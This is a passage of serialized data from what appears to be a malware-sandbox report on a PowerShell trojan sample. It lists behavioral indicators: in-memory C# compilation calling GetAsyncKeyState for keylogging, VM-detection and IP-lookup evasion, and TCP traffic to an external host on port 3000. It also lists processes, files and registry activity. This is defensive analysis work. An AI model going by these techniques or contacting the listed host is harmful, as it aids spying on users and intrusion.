Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ASP.NET_4.0.30319\\NAMES\"; Key: \"D04AG2LGQCDBGSRJAVZIREH3MGHKUAUDEROKRN3LU9DSIZTQT4POQULRANT9KHOB1YYQWACMDKVVGETP2IEIHNAWRKWO1ETXGIA8PFB3QTYWM4WM1HES88\"; Value: \"C41B000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"$50","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"5Z5IWZ5IPFW7556DHPS4.temp\" - Location: [%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\5Z5IWZ5IPFW7556DHPS4.temp]- [targetUID: 00000000-00007108]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007108]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Script loads executable in memory (Antimalware Scan Interface)","description":"Executable loaded in memory \"MZ@\t!L!This program cannot be run in DOS mode.\n\n$PELJi!# @ @\\#O@` H.text `.rsrc@@@.reloc`\n@B#HX (\n*BSJBv4.0.30319l#~l8#Strings#US#GUIDH#BlobG\t%3\nng% u\nP !\t..&*u^c5fnshuj.dllWin32InternalMicrosoft.PowerShell.Commands.AddType.AutoGeneratedTypesmscorlibSystemObjectGetAsyncKeyState.ctorvKeySystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributec5fnshujSystem.Runtime.InteropServicesDllImportAttributeuser32.dll Fi!uJz\\V4 TWrapNonExceptionThrows## #_CorDllMainmscoree.dll% 0HX@LL4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0,FileDescription 0FileVersion0.0.0.0<\nInternalNamec5fnshuj.dll(LegalCopyright D\nOriginalFilenamec5fnshuj.dll4ProductVersion0.0.0.08Assembly Version0.0.0.0 3\"","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1055.001","relevance":10,"id":"amsi-3","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" launched with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\c5fnshuj\\\\c5fnshuj.cmdline\"\" (UID: 00000000-00006460)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Environment Awareness","name":"Able to evade execution by checking for blacklisted external IPs","description":"Found string \"64.124.12.162\" (Indicator: \"64.124.12.162\"; File: \"urlref_httpifconfig.meip\")","origin":"File/Memory","mitre_attack_id":"T1590.005","relevance":1,"id":"string-643","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$52","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"1/27 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Creates new processes","description":"\"csc.exe\" is creating a new process (Name: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2520)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" (Handle: 2520)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Network Related","name":"Reference to an external IP address lookup service identified","description":"$53","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" connects to 94.183.183.69 on port 3000 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Invokes the C# compiler","description":"Process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\c5fnshuj\\\\c5fnshuj.cmdline\"\" (UID: 00000000-00006460)","origin":"Monitored Target","mitre_attack_id":"T1027.004","relevance":1,"id":"target-57","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 94.183.183.69 on port 3000","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":5,"id":"string-847","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Script connects to a host without prior DNS lookup","description":"Process \"powershell.exe\" connected to \"94.183.183.69\" (Port: 3000, Protocol: TCP) without a DNS lookup","origin":"Monitored Target","mitre_attack_id":"T1071.001","relevance":10,"id":"target-38","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":9,"imported_dlls_count":119,"dropped_files_count":0,"extracted_files_count":8,"files_written_count":20,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69e1e804d247beff910aad42","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":89,"malware_family":"PowerShell.Agent","contacted_countries":["USA"],"submit_name":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin","analysis_start_time":"2026-04-17T07:57:57+00:00","indicators_count":{"informative":136,"suspicious":11,"malicious":3},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"94.183.183.69","port":3000,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}],"processes":[{"pid":7108,"ppid":0,"name":"powershell.exe","command_line":"-f \"C:\\73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin.ps1\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00007108","icon":"$55"},{"pid":6460,"ppid":7108,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\c5fnshuj\\c5fnshuj.cmdline\"","sha256":"4240a12e0b246c9d69af1f697488fe7da1b497df20f4a6f95135b4d5fe180a57","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00007108","uid":"00000000-00006460"},{"pid":848,"ppid":6460,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESE999.tmp\" \"%TEMP%\\c5fnshuj\\CSC2B1F813540C4546A73C5F16B4032F2.TMP\"","sha256":"1fe531eac592b480aa4bd16052b909c3431434f17e7ae163d248355558ce43a6","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00006460","uid":"00000000-00000848"}],"all_imported_dlls":["dnsapi.dll","System.Xml.ni.dll","System.Drawing.ni.dll","win32u.dll","imm32.dll","ws2_32.dll","System.DirectoryServices.ni.dll","System.Transactions.dll","diasymreader.dll","uxtheme.dll","srvcli.dll","psapi.dll","dhcpcsvc6.dll","windows.storage.dll","wintrust.dll","userenv.dll","System.Configuration.ni.dll","wbemcomn.dll","IPHLPAPI.DLL","netutils.dll","kernel32.dll","cfgmgr32.dll","vcruntime140_clr0400.dll","mscorlib.ni.dll","dpapi.dll","System.Data.ni.dll","sspicli.dll","KernelBase.dll","combase.dll","shell32.dll","msasn1.dll","nsi.dll","msvcp110_win.dll","ntdll.dll","VxSSL64.dll","cscapi.dll","fltLib.dll","SHCore.dll","mswsock.dll","gdi32.dll","crypt32.dll","fastprox.dll","atl.dll","ole32.dll","BCP47Langs.dll","sppc.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","alink.dll","ucrtbase.dll","profapi.dll","gpapi.dll","secur32.dll","System.Windows.Forms.ni.dll","System.Net.Http.ni.dll","miutils.dll","webengine4.dll","urlmon.dll","dhcpcsvc.dll","MpClient.dll","bcrypt.dll","clbcatq.dll","cryptsp.dll","iertutil.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","MpOAV.dll","bcryptprimitives.dll","kernel.appcore.dll","System.Data.dll","wmidcom.dll","rpcrt4.dll","System.Configuration.Install.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","mscoree.dll","Microsoft.Management.Infrastructure.ni.dll","Mx08d1Iq.dll","Microsoft.PowerShell.Commands.Management.ni.dll","mscoreei.dll","System.Management.ni.dll","wbemprox.dll","version.dll","wldp.dll","oleaut32.dll","powrprof.dll","policymanager.dll","amsi.dll","msvcp_win.dll","imagehlp.dll","rsaenh.dll","wbemsvc.dll","winnsi.dll","ntmarta.dll","gdi32full.dll","propsys.dll","linkinfo.dll","ntshrui.dll","System.Core.ni.dll","slc.dll","mi.dll","AppResolver.dll","ELSCore.dll","clr.dll","System.ni.dll","cryptbase.dll","System.Web.dll","shlwapi.dll","System.Management.Automation.ni.dll","clrjit.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","mscorpehost.dll","System.Transactions.ni.dll","Microsoft.Management.Infrastructure.CimCmdlets.ni.dll","cldapi.dll","aepic.dll","user32.dll","advapi32.dll","sechost.dll","msvcrt.dll","ucrtbase_clr0400.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"c5fnshuj.cmdline","sha256":"10357e10baf8d38e54c28a6252aa4befb30eab4c84e0eedffa34ac46a30e5b52","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"5Z5IWZ5IPFW7556DHPS4.temp","sha256":"c1d2959d0d381013962326469580cf67ce69c3fdac69c1e1f5e5fc61217f27cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"StartupProfileData-NonInteractive","sha256":"55a0c59732e5daf9a3a07036421485f309ab8c5b7c44adddf3c6f47be1455acd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"c5fnshuj.0.cs","sha256":"ee833d50a522900fd8a3c42ee463da29700b0e328ed7fc457582347f7cc0573f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"c5fnshuj.out","sha256":"0b984385e72274ce438debb29ebfab7ddb7335113675c897e1e69419aa85fbb7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":".kermit_id","sha256":"fdfbe984d4a0a0154c4177c0033e44b7782b260860cd43a630bbd8b3a53eead8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"kermit_cache.json","sha256":"d381222dd118d2d0c2af76c3f1a79259d707a57b35c60f0ebe72b6b3dda5e533","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"urlref_httpifconfig.meip","sha256":"bf60bbc4c462ceddf8f2a757275522079d1ed815f04e04118a04effae90e282d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\5Z5IWZ5IPFW7556DHPS4.temp","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF16ce41.TMP","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0ibwr01l.pxa.ps1","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_t0yw4x5k.onq.psm1","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"C:\\temp\\kermit_cache.json","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"C:\\temp\\.kermit_id","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.tmp","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.0.cs","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.dll","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.cmdline","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.out","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"path":"%TEMP%\\c5fnshuj\\c5fnshuj.err","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"Local\\SM0:7108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"Local\\SM0:7108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"SM0:7108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"name":"SM0:7108:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]}]}},"report_ids":{"sandbox_job_ids":["69e1e804d247beff910aad42"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan[Spy]/PowerShell.Agent Sample 73f5db0b04df… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 73f5db0b04df…. Malware family: Trojan[Spy]/PowerShell.Agent. Threat score 89/100. 1/27 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan[Spy]/PowerShell.Agent Sample 73f5db0b04df… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 73f5db0b04df…. Malware family: Trojan[Spy]/PowerShell.Agent. Threat score 89/100. 1/27 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan[Spy]/PowerShell.Agent Sample 73f5db0b04df… — Score 89/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 73f5db0b04df…. Malware family: Trojan[Spy]/PowerShell.Agent. Threat score 89/100. 1/27 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L56","11",{}]]